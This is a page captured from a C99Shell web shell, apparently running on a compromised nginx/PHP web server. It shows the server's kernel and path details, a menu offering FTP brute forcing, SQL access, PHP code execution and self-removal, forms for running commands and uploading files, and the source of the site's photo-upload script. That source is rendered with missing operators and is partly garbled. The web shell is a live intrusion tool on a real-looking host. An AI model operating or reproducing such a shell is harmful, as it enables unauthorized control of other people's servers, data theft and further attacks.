!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/branch2/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     upload_photo.php (1.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include 'connect.php';

if (
$_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['photo']) && isset($_POST['enrollment'])) {
    
$enrollment trim($_POST['enrollment']);
    
$uploadDir 'data/files/';
    
$photo $_FILES['photo'];
    
$extension pathinfo($photo['name'], PATHINFO_EXTENSION);
    
$newFileName $enrollment '_' time() . '.' $extension// unique filename
    
$targetPath $uploadDir $newFileName;

    
// Validate upload
    
if ($photo['error'] === && in_array($extension, ['jpg''jpeg''png''gif'])) {
        if (
move_uploaded_file($photo['tmp_name'], $targetPath)) {
            
// Save new path to DB
            
$update "UPDATE certificate SET photo = ? WHERE enrollment = ?";
            
$stmt mysqli_prepare($link$update);
            
mysqli_stmt_bind_param($stmt'ss'$newFileName$enrollment);
            if (
mysqli_stmt_execute($stmt)) {
                echo 
"<script>alert('Photo updated successfully.'); window.location.href = 'registration_edit.php';</script>";
            } else {
                echo 
"DB update failed.";
            }
        } else {
            echo 
"File upload failed.";
        }
    } else {
        echo 
"Invalid file type or error in upload.";
    }
} else {
    echo 
"Invalid request.";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0013 ]--